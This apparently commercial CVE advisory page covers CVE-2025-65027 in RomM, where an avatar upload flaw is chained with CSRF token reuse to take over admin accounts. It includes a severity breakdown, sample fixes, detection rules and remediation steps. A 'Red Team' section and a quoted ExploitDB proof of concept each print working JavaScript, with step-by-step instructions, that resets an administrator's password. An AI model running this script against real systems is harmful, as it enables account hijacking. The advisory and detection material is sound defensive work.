☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-65027

CVE-2025-65027 is a critical vulnerability in RomM (ROM Manager) that chains an unrestricted file upload vulnerability with a Cross-Site Request Forgery (CSRF) misconfiguration to achieve full administrative account takeover.
📅 PUBLISHED: 2025-12-03 19:36 UTC 🔄 UPDATED: 2026-09-27 00:06 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65027 is a critical vulnerability in RomM (ROM Manager) that chains an unrestricted file upload vulnerability with a Cross-Site Request Forgery (CSRF) misconfiguration to achieve full administrative account takeover. An authenticated attacker with a low-privilege account (e.g., Viewer role) can upload a malicious HTML file containing JavaScript. When a victim (e.g., an administrator) visits the direct link to this uploaded file, the embedded script executes in the victim's browser. The script leverages a CSRF token reuse vulnerability to bypass SameSite cookie protections, allowing the attacker to change the victim's password or escalate privileges. The vulnerability is fixed in RomM versions 4.4.1 and 4.4.1-beta.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RomM is a Python-based application distributed via Docker images on Docker Hub (rommapp/romm). The vulnerability is not in a dependency but in the application's own file upload and CSRF handling logic. Users should ensure they are pulling the latest patched Docker image (rommapp/romm:4.4.1 or later).

CVSS Breakdown & Threat Level

CVSS Score: 7.6 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network - The attack is conducted over the network.
  • Attack Complexity (AC): Low - The attack does not require special conditions.
  • Privileges Required (PR): Low - The attacker needs an authenticated account (Viewer role).
  • User Interaction (UI): Required - The victim must click on the malicious link.
  • Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High - Full account takeover leads to access to all data.
  • Integrity (I): High - The attacker can modify user data and settings.
  • Availability (A): High - The attacker can lock out legitimate users.

Threat Level: Critical due to the ease of exploitation and the potential for full administrative control.

Deep Dive & Mechanics

The vulnerability is a chain of two weaknesses:

  1. Unrestricted File Upload (XSS): RomM allows authenticated users to upload files as profile avatars. The application does not properly validate the file type or content. An attacker can upload an HTML file containing JavaScript. When the file is accessed via its direct URL, the browser renders it as HTML, executing the embedded script.

  2. CSRF Token Reuse (SameSite Bypass): RomM uses a CSRF token stored in a cookie (romm_csrftoken). The application does not properly validate that the token in the request matches the token associated with the user's session. The attacker's JavaScript can overwrite the victim's romm_csrftoken cookie with the attacker's own token. Since the token is reused, the victim's browser will send the attacker's token with the request, bypassing the CSRF protection.

Attack Flow:

  1. Attacker logs in and obtains their CSRF token from the romm_csrftoken cookie.
  2. Attacker crafts an HTML file containing JavaScript that:
    • Overwrites the victim's romm_csrftoken cookie with the attacker's token.
    • Sends a PUT request to /api/users/<targetUserID> with the attacker's token and a new password.
  3. Attacker uploads this HTML file as their profile avatar.
  4. Attacker obtains the direct URL to the uploaded file.
  5. Attacker sends this URL to the victim (e.g., an admin).
  6. When the victim opens the link, the JavaScript executes, changing the victim's password to the attacker's chosen value.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.4.1): The file upload endpoint likely does not validate the file extension or MIME type. The CSRF middleware likely does not tie the token to a specific user session, allowing token reuse.

# Hypothetical vulnerable upload handler
@app.route('/api/users/<int:user_id>/avatar', methods=['POST'])
def upload_avatar(user_id):
    file = request.files['file']
    # No validation of file type or content
    filename = secure_filename(file.filename)
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    return jsonify({'status': 'success'})

Patched Code (4.4.1+): The patched version likely:

  • Validates file extensions (e.g., only allowing .png, .jpg, .gif).
  • Validates MIME types.
  • Stores uploaded files with a random, non-executable name.
  • Implements proper CSRF token validation, tying the token to the user's session.
# Hypothetical patched upload handler
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/api/users/<int:user_id>/avatar', methods=['POST'])
def upload_avatar(user_id):
    file = request.files['file']
    if file and allowed_file(file.filename):
        # Validate MIME type
        if file.content_type not in ['image/png', 'image/jpeg', 'image/gif']:
            return jsonify({'error': 'Invalid file type'}), 400
        # Store with random name
        ext = file.filename.rsplit('.', 1)[1].lower()
        filename = str(uuid.uuid4()) + '.' + ext
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return jsonify({'status': 'success'})
    else:
        return jsonify({'error': 'Invalid file'}), 400

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A RomM instance running version < 4.4.1.
  • An authenticated account with at least Viewer role.
  • A victim account (e.g., admin) that will click the malicious link.

Steps:

  1. Log in to RomM with your attacker account.
  2. Open browser DevTools, go to the Application/Storage tab, and copy the value of the romm_csrftoken cookie.
  3. Create a file named avatar.html with the following content, replacing <ATTACKER_CSRF_TOKEN> and <TARGET_ROMM_URL>:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>
  1. Upload avatar.html as your profile avatar via the user settings page (/user/me).
  2. Locate the direct URL of the uploaded file (e.g., via Network tab in DevTools). It will be something like http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html.
  3. Send this URL to the victim (e.g., via email, chat).
  4. When the victim opens the link, their password will be changed to Passw0rd.

Blue Team

Detection:

  • Monitor for file uploads with .html or .svg extensions.
  • Monitor for PUT requests to /api/users/<id> with unusual payloads.
  • Monitor for changes to user passwords or roles.

Prevention:

  • Update RomM to version 4.4.1 or later.
  • Implement strict file upload validation (extension, MIME type, content inspection).
  • Implement proper CSRF token validation tied to user sessions.
  • Use Content Security Policy (CSP) headers to prevent execution of inline scripts.

Indicators of Compromise (IOCs)

  • File Uploads: Files with .html, .svg, or .js extensions uploaded to the avatar endpoint.
  • Network Requests: PUT requests to /api/users/1 (or other user IDs) with a password parameter.
  • Logs: Successful password change events for admin accounts.
  • Cookies: Presence of a romm_csrftoken cookie that does not match the user's session.

Detection Engineering

YARA Rule

rule CVE_2025_65027_RomM_XSS_CSRF {
    meta:
        description = "Detects malicious HTML files used in CVE-2025-65027 RomM XSS/CSRF chain"
        author = "Valters IT"
        date = "2025-12-03"
        reference = "CVE-2025-65027"
    strings:
        $csrf_token = "romm_csrftoken" nocase
        $fetch_api = "/api/users/" nocase
        $password_change = "password=" nocase
        $x_csrftoken = "x-csrftoken" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-65027 RomM XSS/CSRF Chain
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65027 by uploading malicious HTML files and performing CSRF-based password changes.
author: Valters IT
date: 2025-12-03
logsource:
    category: webserver
    product: romm
detection:
    selection_upload:
        http.method: POST
        http.url: '/api/users/*/avatar'
        http.file_extension: 'html'
    selection_password_change:
        http.method: PUT
        http.url: '/api/users/*'
        http.body: 'password='
    condition: selection_upload or selection_password_change
falsepositives:
    - Legitimate HTML file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65027 RomM XSS/CSRF Chain - Malicious HTML Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/users/"; content:"/avatar"; http.file_name; content:".html"; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-65027 RomM XSS/CSRF Chain - Password Change"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/users/"; http.request_body; content:"password="; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update RomM: Upgrade to version 4.4.1 or 4.4.1-beta.2 immediately.
  2. Reset Passwords: Force all users, especially administrators, to reset their passwords after the update.
  3. Review User Accounts: Check for any unauthorized admin accounts or privilege escalations.

Long-Term Mitigations:

  1. File Upload Validation: Implement strict validation for file uploads:
    • Whitelist allowed file extensions (e.g., .png, .jpg, .gif).
    • Validate MIME types server-side.
    • Store uploaded files with random, non-executable names.
    • Serve uploaded files with Content-Disposition: attachment header.
  2. CSRF Protection: Implement proper CSRF protection:
    • Use a double-submit cookie pattern or synchronizer token pattern.
    • Ensure CSRF tokens are tied to the user's session.
    • Validate the Origin and Referer headers.
  3. Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts and restrict script sources.
  4. Web Application Firewall (WAF): Deploy a WAF to block malicious file uploads and CSRF attempts.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.

{/* [Security Hash: A169F2819CCB8AFDAFB41A86] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027

# -------------------

# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover

# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link

# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
#    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
#    - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
#    - DevTools > Network tab > Filter for `.html` files
#    - Or capture it via proxy (e.g., Burp Suite)
#    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"

# -------------------

# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>

# -------------------

# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65027/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.